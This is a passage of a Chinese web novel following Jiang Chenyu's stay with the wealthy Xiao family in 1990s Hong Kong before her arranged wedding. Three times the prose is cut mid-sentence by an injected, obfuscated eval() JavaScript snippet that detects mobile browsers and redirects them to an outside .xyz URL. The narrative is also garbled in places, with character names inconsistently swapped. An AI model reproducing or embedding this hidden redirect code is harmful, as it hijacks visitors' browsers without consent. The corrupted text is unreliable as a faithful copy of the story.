文燕蓉语塞,不能明说她想带着打扮好的女儿出门在富人区逛逛,看能不能天上掉馅饼,钓个富家大少当女婿。 “你别问了,妈还能害你不成?” “快点起来,妈给你准备了好东西。” 好东西? 什么好东西? 萧沉宁探头过来,文燕蓉拉开窗帘,拿起放在床头柜的挎包,取出里面的首饰盒,打开一看,赫然是一套花样繁琐的金首饰,耳环、项链、手镯、戒指应有尽有,看上去沉甸甸的,应该花了不少钱跟心思。 “妈,你什么时候准备的这些?” 文燕蓉在江城虽说住的是军区大院,但是姜建军每个月只给她生活费,她一个月的工资也才几百块钱,平时补贴姜沉宁,母女俩又没有姜沉鱼好命,有个有钱的生母,日子过得紧巴巴,哪来余钱打这一套金首饰? 说起这个,文燕蓉面色有些得意,“还不是给你准备的,女孩子家大了没点压箱底的首饰可不行,这是你姥姥留下来的嫁妆,当年实打实用的好金子,来讲港城前,妈找了个老师傅重新给你打的时兴样式。 快戴上给妈看看。” “真好看,走,闺女咱们去外头逛逛,说不定今天你就走桃花运,遇上位大少爷,也能嫁过去当少奶奶。” 刚刚还有些感动的姜沉宁:“......” 我就知道没这么简单jpg。 * 日光西斜,照亮了碧蓝的海面。 姜沉鱼住的客房也在三楼,跟姜爷爷、姜奶奶所在的套房毗邻,有小客厅、带浴缸的卫生间,还有专门的换衣间。 小客厅宽敞明亮,飘起的蕾丝窗帘下,一水的进口北欧家具。 姜沉鱼踩着九公分高跟鞋走了大半天,脚背早就酸痛不适了,一进套房就泡了个澡,换上舒适的平底鞋。 靠近阳台的茶几插着几枝紫荆花,旁边摆着供客人品尝的瓜果点心、牛乳茶, 姜沉鱼觉得客房的床太过柔软,坐不习惯,干脆挪到小客厅沙发上俯瞰萧家老宅。 说来也奇怪,她这间客房正对着老宅的林荫道。 在阳台一抬头就能看见过往的车辆跟远处波澜壮阔的海面。 这会儿窗外驶来一辆劳斯莱斯,车门打开,穿西装打小领带的萧茗酷着一张脸从车上下来。 “生叔,甜甜呢?” “甜甜小姐还在午睡。” 生叔依旧穿着马褂皮鞋,对待萧茗态度恭敬中带着慈爱。 萧茗想起爱贪睡的妹妹,板着的脸柔和了点,抬脚去了主楼,看那严肃模样不是做功课就是复习英文发音。 生叔跟在后面,一脸欣慰。 “啧啧,当叔叔的古板无趣,教出来的侄子跟他一个样子。” 三楼阳台的姜沉鱼看到这一幕,玫瑰色的唇抿起来,从水果盘里拿了个香蕉,扒掉皮,慢条斯理吃了口。 她第一次见萧砚那厮多大? 好像是十五岁? 那时候还是八十年代,港城依靠大英经济发展迅猛,内地经济还相对落后。 就算是住在江城军区大院的姜沉鱼,头一次见到港城豪门、会五国语言的萧家二少爷,也只有惊呆的份儿。 也是,谁让她从小就是个学渣来着? 姜沉鱼从小娇气任性,让她下课复习功课比上山还难,要不是姜爷爷花了钱请大学生给孙女补课。 她能不能上大学还两说。 虽然姜沉鱼不爱读书,却格外有英语天赋,上大学的时候,其他科都有挂科的危险,只有英语是一把过。 下午六点,白□□人的热气慢慢散去,连带着吹来的海风也带着几分凉意。 姜爷爷跟姜奶奶久居内地,来了港城觉得跟江城没什么区别,到哪里都是钢筋水泥,顶多人文风情不一样。 简单来说,二老就是想家了。 姜建军中午出了趟门,说是去见位多年的好朋友。 文燕蓉跟姜沉宁在自己房间闭门不出,母女俩不知道捣鼓什么事情。 姜沉鱼换了身定制洋裙,陪着爷爷奶奶在萧家老宅后花园散心,消解乡愁。 听说萧家后花有个名字叫月园,一听就是专门给老夫人叶秋月修建的花园。 因着月院实在大,王妈专门叫了吴妈给姜家祖孙当导游,有心让未来少奶奶熟悉一下老宅。 * 萧氏集团,萧老爷子从半山区大宅打了好几次电话过来,得知萧砚在开会。 老爷子忍不住在家吹胡子瞪眼,“臭小子整天就知道开会!” “我孙媳妇头一次上门,不知道早点回去陪媳妇,开什么会!” “跟他老子一样欠抽!” 老爷子中气十足一顿骂,三房众人战战兢兢,生怕这把火烧到自己身上。 萧老爷子骂完,又一通电话打到集团。 裴特助打接到电话,只觉得头疼难当,总裁开会的时候最不喜欢外界干扰。 萧老太爷这边不应付又不行..... 裴特助在会议室外焦急等待,总算听到了那声熟悉的“散会”声。 股东跟高层们夹着文件刚出会议室,就见满头大汗的裴特助不顾形象跑了进去。 “这小子今天怎么了?” “不知,八成追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830863|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某个靓女没追到?” “哈哈,真系倒霉衰仔.....” “倒霉衰仔“裴特助可没心思管别人怎么看他,一进会议室就马上开口。 “总裁,老太爷打电话来了。” “稍等,一会儿再回过去。” 萧砚翻开着手下的文件,漆黑的眼底看不见多余的情绪,浑身透着一股清冷疏离。 裴特助想起萧老爷子的话,咽了咽口水,壮士扼腕般道,“老太爷说,您再不接电话,他就派人把未来少夫人一家人接到三房去。” ”.......” 萧砚抬头睨了他一眼,薄唇勾了勾,嗯了一声,“把电话转到会议室。” 这话落裴特助耳中犹如天籁,立马转身吩咐前台转电话,生怕自家总裁把话收回去。 电话转到会议室。 萧砚刚拿起电话,对面就传来萧老爷子怒骂声。 “臭小子,还知道接你老子的电话!” “爷爷.......” “爷爷个屁!现在知道叫爷爷了,晚了!” 萧老爷子怒气冲冲,连带着多年商业大亨的涵养也跟着飞了,对着孙子爆粗口。 萧砚耐心十足,听老爷子发完脾气,给老人家顺气。 “爷爷,是我的错,您别生气。” 孙子一道歉,萧老爷子心中的气登时消了大半,老人家就是这么个傲娇性子,吃软不吃硬。 “臭小子,别跟我老头子来这一招。” “我问你,今天还有几个会?” “今天的会议开完了。” “已经安排车辆回家了。” “晚上我会陪姜家长辈们吃饭用餐,爷爷您放心。” 萧砚很默契地回答了老爷子的话。 萧老爷子对这个回答很满意,自家孙子什么性格,他比谁都清楚,心思缜密办事很让人放心。 “臭小子,爷爷跟你讲,多陪着小鱼说说话,多送两件钻石首饰、包包、鲜花之类的,女孩子家家没有不喜欢这个的。” ”好,爷爷我知道了。” 萧老爷子又跟孙子说了几句话,心满意足了挂了电话,伺侯他的老管家说散步时间到了。 老爷子今天心情好,拄着黄花梨木拐杖在保镖的陪同下,逛了园子又逛林荫道,又回大宅坐下喝茶。 三太邓颖梅心情不佳,在楼上卧室休息,三房两个儿媳妇请了几位女客来在家中打牌。 萧长昌、萧长堂兄弟俩在公司打理生意,萧家的大头产业给了长房,二房惨败,三房好歹有几家公司跟房产,其中药品公司最是赚钱,两兄弟最是上心。 ”哎呀,霍太今日手气真好。” “走运而已啦。” “打了半日牌,霍太乏了吧?我家佳敏新学了几样点心,霍太赏脸尝尝?” “真是巧了,我家佳怡也新学了牛乳茶。” “桂妈端上来,请霍太品品。” 三房大夫人跟二夫人不住对着身穿缠枝旗袍的霍太恭维,她们两家都有待字闺中的千金,霍家也是港城豪门中数得着的人家,要是自家闺女能嫁到霍家,那真是烧高香了。 可惜霍太瞧不上三房的孙女,她的两个儿子可是家中的长孙、次孙,婚嫁上要娶也是娶豪门正室生的千金。 一个萧家三房小妾家的孙女,哪有资格嫁进他们霍家。 像他们萧家大房不也是娶的北边军长家的孙女? 霍夫人笑着看下手里的牌,掩去眼里的嘲讽。 12. 第 12 章 霍夫人来三房可不是吃什么点心、喝牛乳茶的。 港城几大豪门,显赫非凡,彼此都有盘根错节的关系。 霍夫人出自港城郭家,就是船运大王的那个郭家。 说起来霍夫人跟萧家长媳郭玉琴是堂姐妹,姐妹俩未出阁的时候感情好得跟亲妹一样,三年前,萧家长子萧台跟妻子在西班牙出车祸,郭玉琴经不住打击,病倒在床。 霍夫人前去探望,嘴快说了句,“两个孩子命该如此。” 这让郭玉琴愤怒至极,不顾霍家的颜面把她赶走了。 事后,霍夫人也是懊悔不已,她自诩刀子嘴豆腐心,殊不知这刀子嘴给堂妹伤痕累累的心上添了多少伤疤。 郭玉琴病愈后,直接跟霍夫人断了来往。 三年过去,萧家次子萧砚即将大婚,港城豪门、政要名流都收到了喜帖。 霍家三房夫人,大夫人、二夫人也收到了萧家派人送来的烫金喜帖,唯独霍二夫人无人问津。 霍二夫人每日面对妯娌们要笑不笑的暗讽模样,丈夫儿女的责备,心里犹如扎了数根大头针一般,酸痛难忍。 直到萧家婚期临近,霍家老太太开口询问,霍二夫人才像热锅上的蚂蚁,慌了神。 霍二夫人去了趟跑马地老宅,直接被拒在门外,气恼之余,只能屈尊降贵来一趟萧家三房,借口打牌,看能不能“偶遇”萧家老太爷,讨一张喜帖。 可惜,萧家老太爷在家闲不住,早早带着老管家、保镖去了跑马场。 萧老爷子爱马,港城豪门人尽皆知。 霍二夫人见不到老爷子,又不甘心无功而返,面对殷勤备至的三房众人,强忍住不耐跟众人打交道。 “来,佳敏这是霍家二太太,咱们家的贵客。” 三房大太太招呼女儿过来献殷勤,二太太也不落于人后,让女儿佳怡捧了牛乳茶来。 豪门圈子里也有鄙视链,萧家三房两个儿子都是庶子,还是不争气的庶子,霍家算是顶级豪门,即使萧老太爷还在,遇上霍二夫人,萧家三房众人还是要恭维奉承。 三房两个孙女,萧佳敏柳眉水眸,生得娇小玲珑,很有江南水乡女郎的温婉,萧佳怡则长相英气,性格倔强不屈,爱憎分明,对母亲拉着她向霍二夫人献媚这事很是不屑。 萧佳怡不是以夫为天的旧时女子。 她的个性有点像萧老太爷,提倡男女自由平等,其实她一直有个愿望,想成为荧屏上人人喜爱的武打女星。 “佳怡,愣着做什么呢?” ”二太喝不惯牛乳茶,快叫桂妈换成热咖啡,多加糖跟牛奶。” 霍二夫人不给面子,萧家三房两个儿媳妇还是要面上带笑,忙前忙后奉承照顾。 霍二夫人习惯了外人巴结,面对几张不讨人喜欢的面孔,皮笑肉不笑说了几句话。 她在三房待了大半天,到底没等到萧老太爷,眼见天色渐晚,只得起身回家。 姜家跑马地老宅,姜沉鱼陪着姜爷爷姜奶奶在月园遛弯,月院实在是太大,姜奶奶走了一半,就累的走不动道了。 姜沉鱼也累,她虽然年轻,穿着平底鞋,可谁知道月园这么大,逛个半小时还没逛完。 姜爷爷倒是兴趣昂然,想继续逛逛,可看着老伴跟孙女,一个坐在树下喊着累,一个躲在树荫下娇里娇气拿手帕扇风,叹口气道,“这才走了多少路,就走不动道了?” “要是放在军队里换成我的兵,每天雷打不动负重三十斤跑三十公里路,谁敢说个不字?“ 姜爷爷戎马一生,最骄傲的事情就是带出一支如钢铁洪流般的铁血队伍。 这话是扎了姜奶奶肺管子:“好你个老东西,整天话里话外埋汰我!” “你有本事,回部队跟士兵过一辈子。” “还跟我过什么?” “小鱼,咱们走!” 姜奶奶气冲冲起身,拉着孙女就要走。 姜爷爷老脸一阵红一阵白,亏得姜沉鱼打小诸如此类的场面见多了,三言两语就把生气的姜奶奶哄回来。 “奶奶,您看那边湖里,站着位人比花娇的大美女呢。” “哪呢?” “小鱼,奶奶眼神儿不好,你给奶奶指指。” 姜奶奶眺望着看,姜沉鱼像模像样给老太太指了指湖面。 “那不就是。” 姜奶奶往湖面一看,登时就笑开了花,湖面上哪有别人可不就是她老太太一个人儿。 说起来,姜奶奶年轻的时候也是气质绝佳的美女,不然,姜爷爷一个毛头小子见了人家一面,就愣在那里说不出话来,追了整整两年才娶到老婆。 自古没人不爱听好听话,上了年纪的姜奶奶尤其爱听,老太太眼睛笑成一条缝,也不计较老头子说错话了,嗔怪道,”这丫头,就爱那我老婆子开玩笑。” “不是开玩笑,奶奶本来就是艳冠群芳的大美人。” “什么大美人啊,大美人还能嫁你爷爷这个这种大老粗?” 姜沉鱼嘴巴跟抹了蜜一样,姜奶奶笑得合不拢嘴,还不忘内涵下老伴。 站在一旁的姜爷爷:“.......” “姜老先生,老夫人。” “姜小姐。” 月院桂花树下的林荫路上开来一辆加长林肯,生叔从车上下来。 “吴妈说三位逛累了,我来接诸位回去休息。” 姜爷爷常年身居高位,大小场面见多了,面对家人以外的人,不经意间就会显露出军人不怒自威的架势。 姜奶奶也不是没见过世面的,二老对着生叔点点头,姜沉鱼笑盈盈上车。 “多谢生叔。” “姜小姐哪里的话。” 姜沉鱼上了车,加长林肯车座椅舒适又大气,处处透着老牌豪门的门面。 五分钟后,加长林肯车抵达老宅主楼,姜家祖孙下了车,姜爷爷姜奶奶回客房休息。 姜沉鱼在楼下天台,倚栏看海边晚霞,恰好萧砚从集团回来,这厮依旧是一身笔挺板正西装,整个人气质清冷矜贵,骨节分明的大手里从裴特助手里接过一束火红色的玫瑰花,慢条斯理望她这个方向看了一眼。 “总裁,姜小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830864|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐在天台那边。” 裴特助眼尖手快,一眼就看到了那抹眺望海景的窈窕身影,生怕自家总裁没看到,立马出声提醒。 要不是萧砚平时太冷漠,裴特助都要双手合十向上帝祈祷了。 “总裁,请加油!” 萧砚面不改色接过玫瑰花,视线落过来,神色淡淡。 “裴特?” “总裁?” “你现在很闲?” 裴特助听出总裁话里没有冷意,嘻嘻哈哈说了句粤语,接着上车风驰电掣离开了萧家老宅。 笑话,他要是走的慢点,总裁真有可能让他滚回集团加晚班。 虽然集团加班给的加班费很丰厚,最近刚陷入爱河的裴特助也没心思赚。 加长宾利发出的引擎声打扰了闲情逸致看海的萧沉鱼,她回头看了看。 咿? 自家便宜未婚夫兼金主大老板什么时候回来的? 这厮手里还拿着一束玫瑰花? 玫瑰花??? 难不成是送给她的? 不是姜沉鱼自恋,实在是红玫瑰花的花语是热烈的爱。 不过,她又怀疑是自己想错了,萧砚可不像是会送人玫瑰花,搞浪漫的男人。 人家可是专心工作赚金币的霸道总。 此刻暮色西沉,天边云蒸霞蔚,大片火烧云染红了远处碧蓝的海面,绿茵草地上飞过一群和平鸽。 萧沉鱼看在眼里,心情大好,一双杏眼波光盈盈看向萧砚。 “萧先生,傍晚好。” “姜小姐同好。” 萧砚池今天貌似心情不错,俊美禁欲的脸没有平日清冷感,唇角勾起,慢条斯理将玫瑰花递到姜漫面前,嗓音低沉:“送你。” “给我的?” “今天是什么特殊的节日吗?” “没什么,下班路上遇见卖花的阿婆,剩下最后一束就买了。” 姜沉鱼:“……” 这个理由很蹩脚好伐? 萧氏集团坐落在港城繁华街头,一路上回老宅都走盘山公路,哪里能遇见卖花的阿婆? 萧沉鱼在心里嘀咕,潋滟生姿的美眸还是弯成月牙。 “谢谢萧先生,我很喜欢。” 姜沉鱼是真的挺喜欢玫瑰花的,女孩子嘛,哪有不喜欢的花的。 在江城的时候,军区大院追求者送的花也没浪费,都被她拿来插花了。 正好客房里有个空花瓶,一会儿把玫瑰花拿回去插花,赏心悦目、陶冶情操。 萧砚还不知道姜沉鱼心里想的,当她真喜欢这束玫瑰花,心情也是不错,当晚对集团调来的帮佣,那叫一个和颜悦色。 当晚萧家做东,宴请姜家一家六口,照旧是水晶灯、西式,推着餐车的佣人。 不同的是今晚上萧老爷子来得晚了些,优美的钢琴声也换成了悠扬的小提琴,晚宴的菜系也跟中午不同。 晚宴多了几道法国菜,马赛鱼汤、有红酒甘醇味道的勃艮第牛肉、以新鲜的蔬菜、沙丁鱼、鸡蛋、搭配橄榄油和香草醋的尼斯沙拉。 13. 第 13 章 九十年代即便是在港城,法国菜也没有普及开来。 姜家人见惯了市面,吃不惯法国菜,也有可口的苏菜、闽南菜肴可以下肚。 萧老爷子跟姜爷爷谈笑风生,二老谈论的话题无外乎是两家孩子举办婚礼的细节。 姜沉鱼对此毫无意见,长辈们说什么她都乖巧答可以。 这么聪明伶俐又听话懂事的孙媳妇,让萧老爷子满意的不得了,直言姜家养了个好孩子。 同样的,姜建军也对乘龙快婿萧砚赞不绝口。 他常年在部队带兵,在野外训练,经常饥一顿饱一顿,有时候没吃的硬挺着也要完成训练。 经年累月下来,姜建军患上了胃病,为了养胃平时吃饭多是喝粥跟汤面。 今天用餐,唯独姜建军面前多了碗鱼汤面,汤汁乳白,面条劲道,鱼肉嫩滑,特别合他胃口。 姜建军对王妈表达谢意。 王妈却道,这都是二少爷吩咐的。 姜建军心下大悦,对上不苟言笑的萧砚,心里的欢喜激动要开出花来,恨不能拿大喇叭向全世界宣称自己喜得贵婿。 相比于面泛红光的姜建军,文燕蓉听到萧家给的八百八十万彩礼,则酸成了柠檬精,吃入口中的西餐也不香了。 天爷嗳,八百八十万彩礼? 全都给姜沉鱼那丫头一个人? 姜沉宁也很震惊,上辈子萧家只象征性给了她几万的彩礼,怎么到了姜沉鱼就如此大方了? 港城豪门也看脸的吗?! 文燕蓉母女俩心思各异,看向对面的眼神像是要喷火。 姜沉鱼面对一对喷火龙母女,将她们表情尽收眼底,装作看不见一般,悠悠闲闲挑起一叉意大利面送入口中,嗯,番茄肉酱很鲜嫩,意大利面也很爽滑,她享受的眯了眯眼,这落在萧砚眼里,忍不住让他发笑。 当年那个小馋包长大了还是个漂亮馋猫。 萧砚轻轻抬了抬手,站在旁边的佣人上前,耳语几句后,又悄无声息下去了。 那佣人再次出现的时候,手里推车上摆放着各种意大利面,番茄肉酱意面、海鲜意面、奶酪意面、培根意面、西西里意面…… 好嘛,这是跟意大利面过不去了。 而且佣人把推车摆在了姜沉鱼面前,语气尊敬道,“姜小姐,请享用。” 姜沉鱼:“......” 姜家众人:“.......” ”多谢萧先生的美意。” 萧沉鱼普通话字正腔圆,莺莺呖呖的,叫人听得耳根酥软,正好她没吃饱,又要了份海鲜意大利面。 萧砚眉梢抬了下,回了句,“不用谢。” 话是这么说,在场众人把这一幕看在眼里,傻子也知道平时视女人为无物的萧砚对这个未婚妻上了心。 除了年纪尚小的萧茗兄妹俩。 萧甜坐在专用描金小椅子上,开心喝果汁,吃意大利面。 个性内敛的萧茗嘴角也翘起来。 姜爷爷、姜奶奶欣慰不已,萧老爷子则满面喜色,端着茶盏,轻轻撩拨浮叶,好似明年就能抱上重孙一样。 晚宴后,众人各回各房休息。 翌日一早,姜沉鱼梳洗打扮,换上月牙色缠枝描银线旗袍,选了套珍珠配饰,化了淡妆,明眸皓齿,倒是没有了平日的娇媚,多了几分端庄。 姜家一家人均盛装出席,就为了迎接萧砚父母自米国归来。 萧砚难得没有去集团,他换了件白色衬衫,袖口微微挽起,往日打理到一丝不乱的头发散在眉间,冷眉薄唇,显得整个人禁欲又勾人。 萧长章、郭玉琴夫妇长年生活在海外,一年才回一次港城。 萧砚虽不跟父母住在一起,但是家人之间感情深厚,为父母安排了可靠的保镖、园丁、厨师只,只为父母过得安心舒适。 豪门大户多龃龉,萧长章跟郭玉琴每次回港,都是静悄悄来,再静悄悄走。 这次回港因为萧氏集团掌门人大婚,港城数家报纸都以为头版头条报,报道刊登这一喜事。 近几日,港城上到八十岁的阿伯阿婆,下到三五岁的小仔都晓得,萧家那个冰山总裁要结婚了。 婚期定在十月十五,唯一的儿子结婚,萧长章夫妻俩势必会回港城参加婚礼。 上午九点十五分,一架波音飞机滑落在香港启德机场。 一到机场,等在外面的诶媒体便蜂拥而至,想采访萧生、萧太了解最新信息。 只可惜,萧长章夫妻一下飞机,就在保镖的护送下坐专车离开了机场。 二十分钟后,专车抵达跑马地老宅。 雕花大铁门打开,佣人上前开门,萧长章夫妇相继下车。 “爸、妈。” “爷爷,奶奶。” “萧叔叔,阿姨好。” 众人围上前,萧茗、萧甜兄妹俩许久没见爷爷奶奶,亲昵得很。 萧长章斯文隽秀,金质玉相,待人温润,即便是人到中年,也没有豪门家族的骄傲自满,夫妻俩先跟姜爷爷、姜奶奶,姜建军握手打招呼。 众人打完招呼,萧长章拍拍沉稳的儿子。 “阿砚,辛苦了。” “不辛苦,爸妈回家吧。” “好,回家。” 萧砚在生父面前也是一如既往的沉默寡言,不过这不妨碍郭玉琴女士对儿子表达想念之情。 “儿子,来抱一个。” 萧砚猝不及防被亲妈熊抱住。 “哎呀,这不是我家小鱼宝贝,瞧瞧这小脸嫩的跟水豆腐一样,来,小鱼,阿姨抱一个。” 热情如火的郭玉琴女士一身洋装,肌肤白皙,岁月在她脸上没什么痕迹,抱了儿子又抱儿媳妇。 姜沉鱼身姿窈窕,肌肤胜雪,一张娇嫩美艳脸蛋在别人心里是狐媚子,在郭玉琴眼里就是招人疼爱的漂亮小囡。 谁让她这辈子没个女儿,豪门圈子里回家谁家有女儿,郭玉琴就羡慕到不行。 现在好了,她的二儿媳妇要进门了。 “.......阿姨。“ 姜沉鱼感受到肩膀上的湿热,微愣了下,郭玉琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830865|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼角湿热,转而从随身名牌包里拿出一个红色绒盒子。 “小鱼,阿姨送你的见面礼,收下吧。“ 红色绒盒子里面是一对龙眼大小的红宝石耳坠,晶莹剔透,闪耀夺目。 文燕蓉在旁看到了,眼睛睁的老大。 她张了张嘴,不知道想说什么,被身旁的姜建军瞪了一眼,心不甘情不愿闭了嘴。 郭玉琴出身香港四大家族郭家,到底是在大家族里长大、嫁人,除了长子长媳的事情外,一辈子顺风顺水,给人准备礼物,怎么也不会出差错。 她送未来儿媳红宝石耳坠,也给文艳容母女俩备了礼。 ——一对平平无奇的珍珠耳坠。 港城豪门女眷送礼首选。 即便是对平平无奇的珍珠耳环,也是纯天然的海水珍珠,颗粒圆润,光泽莹白。 耳柄还镶嵌着钻石。 文燕蓉拿在手里,眼睛倏地一亮。 哎哟,这样一对海水珍珠耳环,放在内地也要两三千块呢。 文燕蓉登时喜笑颜开,姜沉宁将耳环拿在手里,跟姜沉鱼收到的那对荔枝红宝石耳坠做比较,心下嫌弃,脸上还要笑得不谙世事,“谢谢伯母。” 这边姜沉鱼拿着价值不菲的红宝石耳坠,面上笑盈盈向郭玉琴道谢。 “谢谢伯父、伯母。” 姜沉鱼雪肤明眸,笑起来嘴角露出若隐若现的梨涡,嗓音绵嗲,很是讨人喜欢。 “我也给伯父、伯母准备了礼物。” “小小礼物,还请二位长辈笑纳。” 姜沉鱼给萧长章夫妇分别准备了一方名贵砚台、一对镶钻的蓝宝石胸针。 萧长章文学造诣极深,写的一笔好毛笔字,郭玉琴最爱蓝宝石,且嗜好收集胸针。 姜沉鱼这礼物算是送到二人心坎里了。 “长章,看看小鱼送的胸针,是不是很配我今天的装扮?” 郭玉琴欢喜不已,立马把儿媳妇送的蓝宝石胸针别在衣襟上,二十四方位展示给丈夫看。 “很相配,淡妆浓抹总相宜。” 萧长章从来不是位扫兴的丈夫,他扶了扶眼镜,含笑道。 “小鱼很有眼光,阿砚你说是不是?” 萧砚在不远处,裴特助跟他低声说着什么,一双黑眸沉沉,和父亲的视线对上,脸色平淡点了点头。 “嗯。” 萧砚池平时性子冷淡,能得到他的肯定已经不错了。 萧茗、萧甜兄妹俩也夸奶奶漂亮。 姜爷爷、姜奶奶不用说了,姜建军这个父亲,也面带笑意为女儿感到骄傲。 聪明知道本份,女儿这一点很像她的生母。 庄心晴是姜建军年少时的白月光,姜沉鱼酷肖其母,这几年姜建军时常会念起早逝的妻子。 文燕蓉还沉浸在得了珍珠耳环的喜悦中,姜沉宁撇撇嘴,觉得亲妈眼皮子有点浅。 萧长章夫妇从米国回来一路,一路上风尘仆仆需要休息。 姜家众人寒暄完,识趣告退,留下萧家一家三口。 14. 第 14 章 萧家一家三口住在老宅主楼二楼,一整层楼分成了数个套房,水晶吊灯、描金胡桃木软垫沙发,唱片机、飞扬的进口窗帘,跟白色的栏杆。 套房门口站着一排黑衣保镖。 套房,郭玉琴一路奔波,晕车又晕机,自小养尊处优,先回房间歇下了。 萧长章看妻子熟睡才抽身回来,他坐在沙发上,手里捧着杯普洱茶,温和道,“阿砚今天是怎么回事?” 萧砚手指扣动茶盖,撩拨了几下浮叶,眉梢冷淡锋利,“爸,我不说您也能猜到的。” “又是他们动的手?” 联想到某种可能,一向好脾气的萧长章陡然升起了怒气。 萧砚不置可否。 “畜牲,真是一帮没有人性的畜牲!” “如此心思恶毒,跟吃人腐肉的秃鹫有何区别!” 萧长章一向宽厚平和,如今是气极了,竟用各自脏字骂人。 “爸别太生气了,保重好您的身体。” “生叔。” “二少爷。” “扶我爸回去休息,喝碗参茶。” “是。” 萧长章自年轻时身体就不好,三年前长子长媳遭遇车祸,一刺激犯了心脏病,差点儿没抢救过来。 这次回港,要不是路上接送他们夫妇的劳斯莱斯半路停下,换了另外一辆车,也不会让那萧长章起疑。 这些豪门里的肮脏事,萧砚本不愿让父母知晓。 郭玉琴心大,大大咧咧从不在乎细枝末节的事情,萧长章心细如发,在保镖跟裴特助的三言两语间便知道了路上发生的事。 ——汽车的刹车线被人恶意绞断了。 其目的显而易见,要让乘车的人刹车不及,车毁人亡。 此事发生后,生叔去了趟警察署,警察署署长极其重视,已经成立专案组专门调查此案。 萧氏集团也派人在查,这件事暂时没惊动萧老太爷。 按照老爷子的性子,一旦知道此事,怕是要暴跳如雷,杀人见血。 萧砚不在乎几条渣滓丧命,他在乎的是唯一尚在人间的祖父能不能安享晚年。 汽车刹车线事件没在萧家引起轩然大波。 萧长章夫妇回归,标志着萧家长房真正女主人归来。 郭玉琴养好精神,迫不及待带着王妈、吴妈筹备婚事。 接下来一周,萧家老宅佣人喜气洋洋,进进出出,大至席面酒水、拟定宾客座位、婚宴流程,小到新婚夫妻要穿的礼服、西装....... 郭玉琴全都要最好的、最有价值的,她自小就不喜欢落于人后。 出走米国三年,一朝回港,郭玉琴穿着绛红色繁绣旗袍,脖子上戴一串硕大的翡翠坠子,带着王妈妈、吴妈连同几个保姆清点婚礼上要用的燕窝、人参酒水。 姜沉鱼作为姜家未来的少夫人,少不得也要勤勉一些。 春困秋乏,往年秋日时节,姜沉鱼总要懒懒睡到日上三竿才幽幽转醒。 现在来了萧家空旷老宅,都不用姜奶奶特意提醒,早上七点,姜沉鱼便准时起床。 姜爷爷二老对此,很有些担忧,想说孙女是不是水土不服,才日日早起,可看姜沉鱼活蹦乱跳忙、生龙活虎的模样,怎么也不像生病水土不服的。 事实是,姜沉鱼在江城军区大院,日日偷追连续剧到深夜,第二日能起得来才怪。 在萧家客房,电视里播放的连续剧都是粤语,姜沉鱼听不懂,落入耳中犹如催眠曲。 姜沉鱼没有其他乐子,只能早早睡下。 二老得知此事,一阵哄笑。 姜沉鱼脸皮厚,丝毫没觉得这有什么丢人的,昨日郭玉琴说家中新来个位厨艺了得的厨子,中午要宴请姜家众人吃美食。 姜沉鱼很是期待,为了表达对美食的诚意,早早起床,换了件旗袍,洗了个头、化了淡妆,小巧耳畔戴上两只红宝石耳坠子,更衬着她洁白如玉,樱唇娇嫩。 她起床太早,凌晨五点半,姜家大宅还沉浸在一片寂静中,只有波光粼粼的喷泉声。 姜沉鱼撑着手坐在阳台看风景,等着早上七点用过早餐,跟郭阿姨盘点家中的古董物件。 姜家老宅有专门的库房,里面是库存了长房的各类贵重物品,像是老夫人叶秋月当年的嫁妆,单是雕花红木箱子就有好几个,里面珠宝钗环、钻石和田玉、皮草丝巾应有尽…… 这些物品属于大房的家产,往年都有专人料理登记。 郭玉琴一回来,忙里忙外将家中大小事务问了一遍,得知今年库房物品还未整理早登记,立刻兴致勃勃忙了起来。 姜沉鱼一贯懒洋洋不爱动,也被未来婆婆的热烈情绪所感染,这几天跟着跑上跑下,身体都轻盈了许多。 跑马地豪宅区毗邻海港,凌晨大宅林荫道旁亮着路灯,楼下喷泉水花四溅,远处海鸥盘旋高飞。 姜沉鱼坐在那里,吹着略带咸湿的海风,心情前所未有的惬意。 “港城的海景实在是漂亮。” 姜沉鱼感叹。 话说回来,江城也毗邻大海,海景却没有港城这种极致干净的蓝色。 九十月份,螃蟹、鱼虾最是肥美,姜沉鱼嘴馋,念着王妈昨日给她做的那顿鲜香美味的虾饺,突然看到萧砚出现在楼下,他一身黑色衬衫,神色冷倦,骨节分明的指尖夹着雪茄,火星子在黎明的黑暗中明明灭灭。 一身西装的裴特助静静站在不远处,他身后跟着一排人高马大的保镖。 看萧砚的样子,好似昨夜睡得不是很好。 姜沉鱼想起前日,无意间在客厅听到的那通电话,暗想萧家是不是出了什么事。 